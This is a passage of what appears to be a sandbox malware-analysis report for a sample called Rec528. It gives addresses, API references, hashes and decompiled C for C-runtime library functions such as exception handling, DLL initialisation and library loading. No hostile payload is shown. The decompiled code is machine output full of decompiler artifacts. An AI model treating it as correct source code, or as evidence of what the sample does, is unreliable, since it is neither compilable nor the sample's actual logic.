0x10008f2a
0x10008f22
0x10008f1d
0x10008f04
0x10008ed6
0x10008ed6
0x10008edb
0x10008ee1
0x100090f6
0x100090f8
0x100090f8
0x00000000

APIs

___from_strstr_to_strchr.LIBCMT ref: 10008EF0
_free.LIBCMT ref: 10008FC9
_free.LIBCMT ref: 10008FF6

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 890de65a0d0e87214858fd98b9d4a9d6920ab5d2b586cb09b9dc4dd833760745
Instruction ID: fda501ef574866cedc08530c1c1b2566ce136608b6a2a094c61311dcb6afabeb
Opcode Fuzzy Hash: 890de65a0d0e87214858fd98b9d4a9d6920ab5d2b586cb09b9dc4dd833760745
Instruction Fuzzy Hash: ED510775D04356AFFB10DF748C81A6E7BE5FF053D0F0181AAE9449718AEB769A00C751

Uniqueness

Uniqueness Score: -1.00%

Function 0040E955 Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,?,?), ref: 0040E99E
__alloca_probe_16.LIBCMT ref: 0040E9CA
MultiByteToWideChar.KERNEL32(?,?,00000000,?,00000000,00000000), ref: 0040EA09
LCMapStringEx.KERNEL32 ref: 0040EA26
LCMapStringEx.KERNEL32 ref: 0040EA65
__alloca_probe_16.LIBCMT ref: 0040EA82
LCMapStringEx.KERNEL32 ref: 0040EAC4
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 0040EAE7

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 1fc6cf8d2a8d1d5f718579b7e7bb49a2a122a8ef86af5ea5955cff814221f249
Instruction ID: 9d634b0f5ff269f644eeb36f9fdec62c5a34c9f1a9217affe883591534b7aca6
Opcode Fuzzy Hash: 1fc6cf8d2a8d1d5f718579b7e7bb49a2a122a8ef86af5ea5955cff814221f249
Instruction Fuzzy Hash: 3F519372600216ABDB209F56CC45FAB7BB9EB44740F15483AF905F62D0D778DC21DBA8

Uniqueness

Uniqueness Score: -1.00%

Function 1000287C Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E1000287C(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t34;
				signed int _t40;
				signed int _t42;
				signed int _t45;
				signed char _t54;
				signed int _t56;
				signed int _t58;
				void* _t61;
				void* _t68;
				signed int _t72;
				signed int _t76;
				signed int _t80;
				void* _t82;

				_t68 = __edx;
				_push(0x10);
				_push(0x10015730);
				E10003100(__ebx, __edi, __esi);
				_t34 =  *0x10017968;
				if(_t34 > 0) {
					 *0x10017968 = _t34 - 1;
					 *(_t82 - 0x1c) = 1;
					 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
					 *((char*)(_t82 - 0x20)) = E10002CE6();
					 *(_t82 - 4) = 1;
					__eflags =  *0x10017ca8 - 2;
					if( *0x10017ca8 != 2) {
						E10002F80(_t68, 1, __esi, 7);
						asm("int3");
						_push(0xc);
						_push(0x10015758);
						E10003100(__ebx, 1, __esi);
						_t72 =  *(_t82 + 0xc);
						__eflags = _t72;
						if(_t72 != 0) {
							L9:
							 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
							__eflags = _t72 - 1;
							if(_t72 == 1) {
								L12:
								_t58 =  *(_t82 + 0x10);
								_t76 = E10002A37( *((intOrPtr*)(_t82 + 8)), _t72, _t58);
								 *(_t82 - 0x1c) = _t76;
								__eflags = _t76;
								if(_t76 != 0) {
									_t76 = E10002722(_t58, _t61, _t68, _t72, _t76,  *((intOrPtr*)(_t82 + 8)), _t72, _t58);
									 *(_t82 - 0x1c) = _t76;
									__eflags = _t76;
									if(_t76 != 0) {
										goto L14;
									}
								}
							} else {
								__eflags = _t72 - 2;
								if(_t72 == 2) {
									goto L12;
								} else {
									_t58 =  *(_t82 + 0x10);
									L14:
									_push(_t58);
									_push(_t72);
									_push( *((intOrPtr*)(_t82 + 8)));
									_t42 = E10001000();
									_t76 = _t42;
									 *(_t82 - 0x1c) = _t76;
									__eflags = _t72 - 1;
									if(_t72 == 1) {
										__eflags = _t76;
										if(_t76 == 0) {
											_push(_t58);
											_push(_t42);
											_push( *((intOrPtr*)(_t82 + 8)));
											_t45 = E10001000();
											__eflags = _t58;
											_t25 = _t58 != 0;
											__eflags = _t25;
											_push((_t45 & 0xffffff00 | _t25) & 0x000000ff);
											E1000287C(_t58, _t68, _t72, _t76, _t25);
											_pop(_t61);
											E10002A37( *((intOrPtr*)(_t82 + 8)), _t76, _t58);
										}
									}
									__eflags = _t72;
									if(_t72 == 0) {
										L19:
										_t76 = E10002722(_t58, _t61, _t68, _t72, _t76,  *((intOrPtr*)(_t82 + 8)), _t72, _t58);
										 *(_t82 - 0x1c) = _t76;
										__eflags = _t76;
										if(_t76 != 0) {
											_t76 = E10002A37( *((intOrPtr*)(_t82 + 8)), _t72, _t58);
											 *(_t82 - 0x1c) = _t76;
										}
									} else {
										__eflags = _t72 - 3;
										if(_t72 == 3) {
											goto L19;
										}
									}
								}
							}
							 *(_t82 - 4) = 0xfffffffe;
							_t40 = _t76;
						} else {
							__eflags =  *0x10017968 - _t72; // 0x1
							if(__eflags > 0) {
								goto L9;
							} else {
								_t40 = 0;
							}
						}
						 *[fs:0x0] =  *((intOrPtr*)(_t82 - 0x10));
						return _t40;
					} else {
						E10002DB1(__ebx, _t61, 1, __esi);
						E10002C6D();
						E100030CF();
						 *0x10017ca8 =  *0x10017ca8 & 0x00000000;
						 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
						E10002911();
						_t54 = E10002F52( *((intOrPtr*)(_t82 + 8)), 0);
						asm("sbb esi, esi");
						_t80 =  ~(_t54 & 0x000000ff) & 1;
						__eflags = _t80;
						 *(_t82 - 0x1c) = _t80;
						 *(_t82 - 4) = 0xfffffffe;
						E1000291E();
						_t56 = _t80;
						goto L4;
					}
				} else {
					_t56 = 0;
					L4:
					 *[fs:0x0] =  *((intOrPtr*)(_t82 - 0x10));
					return _t56;
				}
			}

0x1000287c
0x1000287c
0x1000287e
0x10002883
0x10002888
0x1000288f
0x10002896
0x1000289e
0x100028a1
0x100028aa
0x100028ad
0x100028b0
0x100028b7
0x10002926
0x1000292b
0x1000292c
0x1000292e
0x10002933
0x10002938
0x1000293b
0x1000293d
0x1000294e
0x1000294e
0x10002952
0x10002955
0x10002961
0x10002961
0x1000296e
0x10002970
0x10002973
0x10002975
0x10002985
0x10002987
0x1000298a
0x1000298c
0x00000000
0x00000000
0x1000298c
0x10002957
0x10002957
0x1000295a
0x00000000
0x1000295c
0x1000295c
0x10002992
0x10002992
0x10002993
0x10002994
0x10002997
0x1000299c
0x1000299e
0x100029a1
0x100029a4
0x100029a6
0x100029a8
0x100029aa
0x100029ab
0x100029ac
0x100029af
0x100029b4
0x100029b6
0x100029b6
0x100029bc
0x100029bd
0x100029c2
0x100029c8
0x100029c8
0x100029a8
0x100029cd
0x100029cf
0x100029d6
0x100029e0
0x100029e2
0x100029e5
0x100029e7
0x100029f3
0x10002a1b
0x10002a1b
0x100029d1
0x100029d1
0x100029d4
0x00000000
0x00000000
0x100029d4
0x100029cf
0x1000295a
0x10002a1e
0x10002a25
0x1000293f
0x1000293f
0x10002945
0x00000000
0x10002947
0x10002947
0x10002947
0x10002945
0x10002a2a
0x10002a36
0x100028b9
0x100028b9
0x100028be
0x100028c3
0x100028c8
0x100028cf
0x100028d3
0x100028dd
0x100028e9
0x100028eb
0x100028eb
0x100028ed
0x100028f0
0x100028f7
0x100028fc
0x00000000
0x100028fc
0x10002891
0x10002891
0x100028fe
0x10002901
0x1000290d
0x1000290d

APIs

__RTC_Initialize.LIBCMT ref: 100028C3
___scrt_uninitialize_crt.LIBCMT ref: 100028DD

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 42806aad56cbe77a1b5bb2d2a40157ee08dc98f2d8d462a07195d03710336d9d
Instruction ID: ac62ab2a2a1dbb9d974ad498b0db7c1921e8f49f2df0d7a9b05f4eea38b59fbd
Opcode Fuzzy Hash: 42806aad56cbe77a1b5bb2d2a40157ee08dc98f2d8d462a07195d03710336d9d
Instruction Fuzzy Hash: 0B41D376E04269EFFB21CF54CC41BAE7BB5EB446E0F118129F8486B259DB309D41DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0043EA60 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0043EA97
___except_validate_context_record.LIBVCRUNTIME ref: 0043EA9F
_ValidateLocalCookies.LIBCMT ref: 0043EB28
__IsNonwritableInCurrentImage.LIBCMT ref: 0043EB53
_ValidateLocalCookies.LIBCMT ref: 0043EBA8

Strings

csm, xrefs: 0043EB3D

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 97abf38324731e32aa54c8af95c8715b679c63eee41a74b9c7ea5a5f1bcbe85c
Instruction ID: 56324905b5cf03f36623b407c9bca58900183bbae34251306b30c85aa47bf572
Opcode Fuzzy Hash: 97abf38324731e32aa54c8af95c8715b679c63eee41a74b9c7ea5a5f1bcbe85c
Instruction Fuzzy Hash: A941EB30A01208EBCF10DF6AC885A9EBBB1FF4C318F14915AE8155B3D2C779E911CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00411B60 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00411B60(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _t56;
				signed int _t63;
				intOrPtr _t64;
				void* _t65;
				intOrPtr* _t66;
				intOrPtr _t68;
				intOrPtr _t70;
				signed int _t71;
				signed int _t72;
				signed int _t75;
				intOrPtr* _t79;
				intOrPtr _t80;
				signed int _t84;
				char _t86;
				intOrPtr _t90;
				intOrPtr* _t91;
				signed int _t97;
				signed int _t98;
				intOrPtr _t100;
				intOrPtr _t103;
				signed int _t105;
				void* _t108;
				void* _t109;
				void* _t115;

				_t94 = __edx;
				_t79 = _a4;
				_push(__edi);
				_v5 = 0;
				_v16 = 1;
				 *_t79 = E0042C16E(__ecx,  *_t79);
				_t80 = _a8;
				_t6 = _t80 + 0x10; // 0x11
				_t103 = _t6;
				_push(_t103);
				_v20 = _t103;
				_v12 =  *(_t80 + 8) ^  *0x43d054;
				E00411B20(_t80, __edx, __edi, _t103,  *(_t80 + 8) ^  *0x43d054);
				E00412BBC(_a12);
				_t56 = _a4;
				_t109 = _t108 + 0x10;
				_t100 =  *((intOrPtr*)(_t80 + 0xc));
				if(( *(_t56 + 4) & 0x00000066) != 0) {
					__eflags = _t100 - 0xfffffffe;
					if(_t100 != 0xfffffffe) {
						_t94 = 0xfffffffe;
						E00412EE0(_t80, 0xfffffffe, _t103, 0x43d054);
						goto L13;
					}
					goto L14;
				} else {
					_v32 = _t56;
					_v28 = _a12;
					 *((intOrPtr*)(_t80 - 4)) =  &_v32;
					if(_t100 == 0xfffffffe) {
						L14:
						return _v16;
					} else {
						do {
							_t84 = _v12;
							_t63 = _t100 + (_t100 + 2) * 2;
							_t80 =  *((intOrPtr*)(_t84 + _t63 * 4));
							_t64 = _t84 + _t63 * 4;
							_t85 =  *((intOrPtr*)(_t64 + 4));
							_v24 = _t64;
							if( *((intOrPtr*)(_t64 + 4)) == 0) {
								_t86 = _v5;
								goto L7;
							} else {
								_t94 = _t103;
								_t65 = E00412E80(_t85, _t103);
								_t86 = 1;
								_v5 = 1;
								_t115 = _t65;
								if(_t115 < 0) {
									_v16 = 0;
									L13:
									_push(_t103);
									E00411B20(_t80, _t94, _t100, _t103, _v12);
									goto L14;
								} else {
									if(_t115 > 0) {
										_t66 = _a4;
										__eflags =  *_t66 - 0xe06d7363;
										if( *_t66 == 0xe06d7363) {
											__eflags =  *0x42f198;
											if(__eflags != 0) {
												_t75 = E0042BB70(__eflags, 0x42f198);
												_t109 = _t109 + 4;
												__eflags = _t75;
												if(_t75 != 0) {
													_t105 =  *0x42f198; // 0x40ff75
													 *0x42e234(_a4, "true");
													 *_t105();
													_t103 = _v20;
													_t109 = _t109 + 8;
												}
												_t66 = _a4;
											}
										}
										_t95 = _t66;
										E00412EC0(_t66, _a8, _t66);
										_t68 = _a8;
										__eflags =  *((intOrPtr*)(_t68 + 0xc)) - _t100;
										if( *((intOrPtr*)(_t68 + 0xc)) != _t100) {
											_t95 = _t100;
											E00412EE0(_t68, _t100, _t103, 0x43d054);
											_t68 = _a8;
										}
										_push(_t103);
										 *((intOrPtr*)(_t68 + 0xc)) = _t80;
										E00411B20(_t80, _t95, _t100, _t103, _v12);
										E00412EA0();
										asm("int3");
										_t70 = _v40;
										_t90 = _v36;
										__eflags = _t70 - _t90;
										if(_t70 != _t90) {
											_t91 = _t90 + 5;
											_t71 = _t70 + 5;
											__eflags = _t71;
											while(1) {
												_t97 =  *_t71;
												__eflags = _t97 -  *_t91;
												if(_t97 !=  *_t91) {
													break;
												}
												__eflags = _t97;
												if(_t97 == 0) {
													goto L24;
												} else {
													_t98 =  *((intOrPtr*)(_t71 + 1));
													__eflags = _t98 -  *((intOrPtr*)(_t91 + 1));
													if(_t98 !=  *((intOrPtr*)(_t91 + 1))) {
														break;
													} else {
														_t71 = _t71 + 2;
														_t91 = _t91 + 2;
														__eflags = _t98;
														if(_t98 != 0) {
															continue;
														} else {
															goto L24;
														}
													}
												}
												goto L32;
											}
											asm("sbb eax, eax");
											_t72 = _t71 | 0x00000001;
											__eflags = _t72;
											return _t72;
										} else {
											L24:
											__eflags = 0;
											return 0;
										}
									} else {
										goto L7;
									}
								}
							}
							goto L32;
							L7:
							_t100 = _t80;
						} while (_t80 != 0xfffffffe);
						if(_t86 != 0) {
							goto L13;
						}
						goto L14;
					}
				}
				L32:
			}

0x00411b60
0x00411b67
0x00411b6b
0x00411b6c
0x00411b72
0x00411b7e
0x00411b80
0x00411b86
0x00411b86
0x00411b8f
0x00411b91
0x00411b94
0x00411b97
0x00411b9f
0x00411ba4
0x00411ba7
0x00411baa
0x00411bb1
0x00411c0d
0x00411c10
0x00411c18
0x00411c1f
0x00000000
0x00411c1f
0x00000000
0x00411bb3
0x00411bb3
0x00411bb9
0x00411bbf
0x00411bc5
0x00411c30
0x00411c39
0x00411bc7
0x00411bc7
0x00411bc7
0x00411bcd
0x00411bd0
0x00411bd3
0x00411bd6
0x00411bd9
0x00411bde
0x00411bf4
0x00000000
0x00411be0
0x00411be0
0x00411be2
0x00411be7
0x00411be9
0x00411bec
0x00411bee
0x00411c04
0x00411c24
0x00411c24
0x00411c28
0x00000000
0x00411bf0
0x00411bf0
0x00411c3a
0x00411c3d
0x00411c43
0x00411c45
0x00411c4c
0x00411c53
0x00411c58
0x00411c5b
0x00411c5d
0x00411c5f
0x00411c6c
0x00411c72
0x00411c74
0x00411c77
0x00411c77
0x00411c7a
0x00411c7a
0x00411c4c
0x00411c80
0x00411c82
0x00411c87
0x00411c8a
0x00411c8d
0x00411c95
0x00411c99
0x00411c9e
0x00411c9e
0x00411ca1
0x00411ca5
0x00411ca8
0x00411cb8
0x00411cbd
0x00411cc1
0x00411cc4
0x00411cc7
0x00411cc9
0x00411ccf
0x00411cd2
0x00411cd2
0x00411cd5
0x00411cd5
0x00411cd7
0x00411cd9
0x00000000
0x00000000
0x00411cdb
0x00411cdd
0x00000000
0x00411cdf
0x00411cdf
0x00411ce2
0x00411ce5
0x00000000
0x00411ce7
0x00411ce7
0x00411cea
0x00411ced
0x00411cef
0x00000000
0x00411cf1
0x00000000
0x00411cf1
0x00411cef
0x00411ce5
0x00000000
0x00411cdd
0x00411cf3
0x00411cf5
0x00411cf5
0x00411cf9
0x00411ccb
0x00411ccb
0x00411ccb
0x00411cce
0x00411cce
0x00411bf2
0x00000000
0x00411bf2
0x00411bf0
0x00411bee
0x00000000
0x00411bf7
0x00411bf7
0x00411bf9
0x00411c00
0x00000000
0x00411c02
0x00000000
0x00411c00
0x00411bc5
0x00000000

APIs

_ValidateLocalCookies.LIBCMT ref: 00411B97
___except_validate_context_record.LIBVCRUNTIME ref: 00411B9F
_ValidateLocalCookies.LIBCMT ref: 00411C28
__IsNonwritableInCurrentImage.LIBCMT ref: 00411C53
_ValidateLocalCookies.LIBCMT ref: 00411CA8

Strings

csm, xrefs: 00411C3D

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: e0701a756b8fd532e6c54edd9633cc2f37b64c963fcb2cfba846efdf3320919d
Instruction ID: 5efb2583636d31c060f413daa3c9ac420c976735102ef261660c32dbd26c5d8c
Opcode Fuzzy Hash: e0701a756b8fd532e6c54edd9633cc2f37b64c963fcb2cfba846efdf3320919d
Instruction Fuzzy Hash: 3041F930A002089BCF10DF69C840ADEBBB1AF05318F54805BE9149B361E779E995CBD9

Uniqueness

Uniqueness Score: -1.00%

Function 100039C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E100039C0(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _t56;
				signed int _t63;
				intOrPtr _t64;
				void* _t65;
				intOrPtr* _t66;
				intOrPtr _t68;
				intOrPtr _t70;
				signed int _t71;
				signed int _t72;
				signed int _t75;
				intOrPtr* _t79;
				intOrPtr _t80;
				signed int _t84;
				char _t86;
				intOrPtr _t90;
				intOrPtr* _t91;
				signed int _t97;
				signed int _t98;
				intOrPtr _t100;
				intOrPtr _t103;
				signed int _t105;
				void* _t108;
				void* _t109;
				void* _t115;

				_t94 = __edx;
				_t79 = _a4;
				_push(__edi);
				_v5 = 0;
				_v16 = 1;
				 *_t79 = E1000FA3C(__ecx,  *_t79);
				_t80 = _a8;
				_t6 = _t80 + 0x10; // 0x11
				_t103 = _t6;
				_push(_t103);
				_v20 = _t103;
				_v12 =  *(_t80 + 8) ^  *0x10017004;
				E10003980(_t80, __edx, __edi, _t103,  *(_t80 + 8) ^  *0x10017004);
				E10004BFC(_a12);
				_t56 = _a4;
				_t109 = _t108 + 0x10;
				_t100 =  *((intOrPtr*)(_t80 + 0xc));
				if(( *(_t56 + 4) & 0x00000066) != 0) {
					__eflags = _t100 - 0xfffffffe;
					if(_t100 != 0xfffffffe) {
						_t94 = 0xfffffffe;
						E10004D80(_t80, 0xfffffffe, _t103, 0x10017004);
						goto L13;
					}
					goto L14;
				} else {
					_v32 = _t56;
					_v28 = _a12;
					 *((intOrPtr*)(_t80 - 4)) =  &_v32;
					if(_t100 == 0xfffffffe) {
						L14:
						return _v16;
					} else {
						do {
							_t84 = _v12;
							_t63 = _t100 + (_t100 + 2) * 2;
							_t80 =  *((intOrPtr*)(_t84 + _t63 * 4));
							_t64 = _t84 + _t63 * 4;
							_t85 =  *((intOrPtr*)(_t64 + 4));
							_v24 = _t64;
							if( *((intOrPtr*)(_t64 + 4)) == 0) {
								_t86 = _v5;
								goto L7;
							} else {
								_t94 = _t103;
								_t65 = E10004D20(_t85, _t103);
								_t86 = 1;
								_v5 = 1;
								_t115 = _t65;
								if(_t115 < 0) {
									_v16 = 0;
									L13:
									_push(_t103);
									E10003980(_t80, _t94, _t100, _t103, _v12);
									goto L14;
								} else {
									if(_t115 > 0) {
										_t66 = _a4;
										__eflags =  *_t66 - 0xe06d7363;
										if( *_t66 == 0xe06d7363) {
											__eflags =  *0x1001021c;
											if(__eflags != 0) {
												_t75 = E1000E730(__eflags, 0x1001021c);
												_t109 = _t109 + 4;
												__eflags = _t75;
												if(_t75 != 0) {
													_t105 =  *0x1001021c; // 0x100036df
													 *0x10010164(_a4, "true");
													 *_t105();
													_t103 = _v20;
													_t109 = _t109 + 8;
												}
												_t66 = _a4;
											}
										}
										_t95 = _t66;
										E10004D60(_t66, _a8, _t66);
										_t68 = _a8;
										__eflags =  *((intOrPtr*)(_t68 + 0xc)) - _t100;
										if( *((intOrPtr*)(_t68 + 0xc)) != _t100) {
											_t95 = _t100;
											E10004D80(_t68, _t100, _t103, 0x10017004);
											_t68 = _a8;
										}
										_push(_t103);
										 *((intOrPtr*)(_t68 + 0xc)) = _t80;
										E10003980(_t80, _t95, _t100, _t103, _v12);
										E10004D40();
										asm("int3");
										_t70 = _v40;
										_t90 = _v36;
										__eflags = _t70 - _t90;
										if(_t70 != _t90) {
											_t91 = _t90 + 5;
											_t71 = _t70 + 5;
											__eflags = _t71;
											while(1) {
												_t97 =  *_t71;
												__eflags = _t97 -  *_t91;
												if(_t97 !=  *_t91) {
													break;
												}
												__eflags = _t97;
												if(_t97 == 0) {
													goto L24;
												} else {
													_t98 =  *((intOrPtr*)(_t71 + 1));
													__eflags = _t98 -  *((intOrPtr*)(_t91 + 1));
													if(_t98 !=  *((intOrPtr*)(_t91 + 1))) {
														break;
													} else {
														_t71 = _t71 + 2;
														_t91 = _t91 + 2;
														__eflags = _t98;
														if(_t98 != 0) {
															continue;
														} else {
															goto L24;
														}
													}
												}
												goto L32;
											}
											asm("sbb eax, eax");
											_t72 = _t71 | 0x00000001;
											__eflags = _t72;
											return _t72;
										} else {
											L24:
											__eflags = 0;
											return 0;
										}
									} else {
										goto L7;
									}
								}
							}
							goto L32;
							L7:
							_t100 = _t80;
						} while (_t80 != 0xfffffffe);
						if(_t86 != 0) {
							goto L13;
						}
						goto L14;
					}
				}
				L32:
			}

0x100039c0
0x100039c7
0x100039cb
0x100039cc
0x100039d2
0x100039de
0x100039e0
0x100039e6
0x100039e6
0x100039ef
0x100039f1
0x100039f4
0x100039f7
0x100039ff
0x10003a04
0x10003a07
0x10003a0a
0x10003a11
0x10003a6d
0x10003a70
0x10003a78
0x10003a7f
0x00000000
0x10003a7f
0x00000000
0x10003a13
0x10003a13
0x10003a19
0x10003a1f
0x10003a25
0x10003a90
0x10003a99
0x10003a27
0x10003a27
0x10003a27
0x10003a2d
0x10003a30
0x10003a33
0x10003a36
0x10003a39
0x10003a3e
0x10003a54
0x00000000
0x10003a40
0x10003a40
0x10003a42
0x10003a47
0x10003a49
0x10003a4c
0x10003a4e
0x10003a64
0x10003a84
0x10003a84
0x10003a88
0x00000000
0x10003a50
0x10003a50
0x10003a9a
0x10003a9d
0x10003aa3
0x10003aa5
0x10003aac
0x10003ab3
0x10003ab8
0x10003abb
0x10003abd
0x10003abf
0x10003acc
0x10003ad2
0x10003ad4
0x10003ad7
0x10003ad7
0x10003ada
0x10003ada
0x10003aac
0x10003ae0
0x10003ae2
0x10003ae7
0x10003aea
0x10003aed
0x10003af5
0x10003af9
0x10003afe
0x10003afe
0x10003b01
0x10003b05
0x10003b08
0x10003b18
0x10003b1d
0x10003b21
0x10003b24
0x10003b27
0x10003b29
0x10003b2f
0x10003b32
0x10003b32
0x10003b35
0x10003b35
0x10003b37
0x10003b39
0x00000000
0x00000000
0x10003b3b
0x10003b3d
0x00000000
0x10003b3f
0x10003b3f
0x10003b42
0x10003b45
0x00000000
0x10003b47
0x10003b47
0x10003b4a
0x10003b4d
0x10003b4f
0x00000000
0x10003b51
0x00000000
0x10003b51
0x10003b4f
0x10003b45
0x00000000
0x10003b3d
0x10003b53
0x10003b55
0x10003b55
0x10003b59
0x10003b2b
0x10003b2b
0x10003b2b
0x10003b2e
0x10003b2e
0x10003a52
0x00000000
0x10003a52
0x10003a50
0x10003a4e
0x00000000
0x10003a57
0x10003a57
0x10003a59
0x10003a60
0x00000000
0x10003a62
0x00000000
0x10003a60
0x10003a25
0x00000000

APIs

_ValidateLocalCookies.LIBCMT ref: 100039F7
___except_validate_context_record.LIBVCRUNTIME ref: 100039FF
_ValidateLocalCookies.LIBCMT ref: 10003A88
__IsNonwritableInCurrentImage.LIBCMT ref: 10003AB3
_ValidateLocalCookies.LIBCMT ref: 10003B08

Strings

csm, xrefs: 10003A9D

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: f899cb42e9319c3274a5436605d638e6e2b8aa92804b4768c09d7e2386720e26
Instruction ID: 073c51cd0f09129959f3a06710b22616025c57061756d9f058674ae72899189a
Opcode Fuzzy Hash: f899cb42e9319c3274a5436605d638e6e2b8aa92804b4768c09d7e2386720e26
Instruction Fuzzy Hash: A841A434A002199BDB02CF68C884A9FBBF9EF463A4F11C055F9596B356DB31EA05CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0041E448 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0041E448(void* __ecx, signed int* _a4, intOrPtr _a8) {
				signed int* _v8;
				void** _t12;
				void* _t16;
				void* _t18;
				signed int _t22;
				WCHAR* _t23;
				void** _t26;
				signed int* _t29;
				void* _t32;
				void* _t34;

				_t29 = _a4;
				while(_t29 != _a8) {
					_t22 =  *_t29;
					_t12 = 0x450ae8 + _t22 * 4;
					_t32 =  *_t12;
					_v8 = _t12;
					if(_t32 == 0) {
						_t23 =  *(0x431b70 + _t22 * 4);
						_t32 = LoadLibraryExW(_t23, 0, 0x800);
						if(_t32 != 0) {
							L12:
							_t26 = _v8;
							 *_t26 = _t32;
							if( *_t26 != 0) {
								FreeLibrary(_t32);
							}
							L14:
							if(_t32 != 0) {
								_t16 = _t32;
								L18:
								return _t16;
							}
							L15:
							_t29 =  &(_t29[1]);
							continue;
						}
						_t18 = GetLastError();
						if(_t18 != 0x57) {
							L9:
							_t32 = 0;
							L10:
							if(_t32 != 0) {
								goto L12;
							}
							 *_v8 = _t18 | 0xffffffff;
							goto L15;
						}
						_t18 = E00416234(_t23, L"api-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = E00416234(_t23, L"ext-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = LoadLibraryExW(_t23, _t32, _t32);
						_t32 = _t18;
						goto L10;
					}
					if(_t32 == 0xffffffff) {
						goto L15;
					}
					goto L14;
				}
				_t16 = 0;
				goto L18;
			}

0x0041e451
0x0041e4fb
0x0041e459
0x0041e45b
0x0041e462
0x0041e464
0x0041e46a
0x0041e477
0x0041e48c
0x0041e490
0x0041e4e2
0x0041e4e2
0x0041e4e7
0x0041e4eb
0x0041e4ee
0x0041e4ee
0x0041e4f4
0x0041e4f6
0x0041e50b
0x0041e506
0x0041e50a
0x0041e50a
0x0041e4f8
0x0041e4f8
